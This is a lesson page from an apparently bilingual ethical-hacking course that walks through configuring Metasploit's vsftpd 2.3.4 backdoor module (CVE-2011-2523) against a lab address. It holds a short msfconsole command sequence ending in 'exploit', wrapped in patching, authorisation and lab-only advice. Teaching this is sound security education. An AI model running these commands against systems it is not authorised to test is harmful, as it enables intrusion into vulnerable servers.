Ravindra BagaleCourses & study guides मराठी Track your progress

23. Exploitation with Metasploit

23.3 Search, Select and Configure a Module

By Last updated:

Chapter 20 madhe aapan vsftpd 2.3.4 cha backdoor (CVE-2011-2523) shodhla hota. Aata to Metasploit madhe vaparu.

msf6 > search vsftpd
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(...) > info                 # read what it does, targets, options
msf6 exploit(...) > show options         # what you must set
msf6 exploit(...) > set RHOSTS 192.168.56.20
msf6 exploit(...) > show payloads        # compatible payloads
msf6 exploit(...) > check                 # (if supported) is the target vulnerable?
msf6 exploit(...) > exploit               # run it  (alias: run)

Common settings: set RHOSTS (target), set RPORT (if non-default), set LHOST (your Kali IP for reverse payloads), set PAYLOAD <name>. Use setg to set a value globally for the whole session.

Ravindra Bagale's Tip

In show options, first fill in every option with Required = yes and an empty Current Setting – otherwise the exploit "fails" and students blame the module. And always read info: it tells you which versions the exploit works on.

Lab

Search for vsftpd, select the backdoor module, read info, set RHOSTS 192.168.56.20, and run show options to confirm nothing required is empty. Do not exploit yet – just get it fully configured.

Reading a module like a patch note

When you info a module, treat the references section as your patch list: CVE, advisory, affected versions. That is the part defenders carry to production meetings.

  1. Search by CVE or product.
  2. Read required options.
  3. Note references and check NVD for fixed versions.
  4. On a real server you manage, patch; do not run the exploit.

Recap

  • Modules are documentation as much as code.
  • Patch on real systems; exploit only on lab VMs.

Defender's worksheet (do this today)

  1. Write the lesson title and date in your notebook.
  2. List three systems you own (VMs, personal projects, or lab apps) where this lesson applies.
  3. Run one safe command or checklist item from the lesson on a lab system only.
  4. Paste the command and its output under an Evidence heading.
  5. Write one fix you would give a teammate in two sentences.
  6. Write one mistake students make with this topic and how to avoid it.

More real-world pictures

Indian workplace (sample data)

Suppose we are a junior analyst at Tech Mahindra supporting a client SOC. After reading this lesson you add one detection or one hardening item to the team weekly checklist, with the owner name and a due date. That is how learning becomes operations.

Global practice

Public bodies such as CERT-In (India), CISA (US) and NCSC (UK) publish advisories that map to the same ideas: patch, least privilege, logging and user awareness. Bookmark one advisory feed and read it every Monday.

Home and family

Explain this lesson to a family member in four sentences without jargon. If they can repeat the main warning back to you, you understand it well enough to teach.

Connect to earlier chapters

Parts 1 to 9 built Linux, web servers, databases and cloud pieces. This lesson only makes sense when you can point to a concrete config file, package name or architecture box from those parts. If you cannot, revisit the matching earlier chapter before you practise any tool command.

Common mistakes

  • Skipping written permission just for a quick scan.
  • Practising on hostel or office Wi-Fi targets without authorisation.
  • Collecting tool output without writing the fix.
  • Copying exploit commands onto production to verify. Verification for defenders means checking versions and patches, not firing modules.

Recap

  • Evidence, fix, owner, date.
  • Own lab only.
  • Teach one other person the warning from this lesson.

Translation table

Module option RHOSTS becomes "which lab IP am I allowed to touch?". Option PAYLOAD becomes "what would detection look like if this were real?". Option LHOST becomes "why outbound connections from servers should be restricted". Always fill the translation before you type exploit in a lab.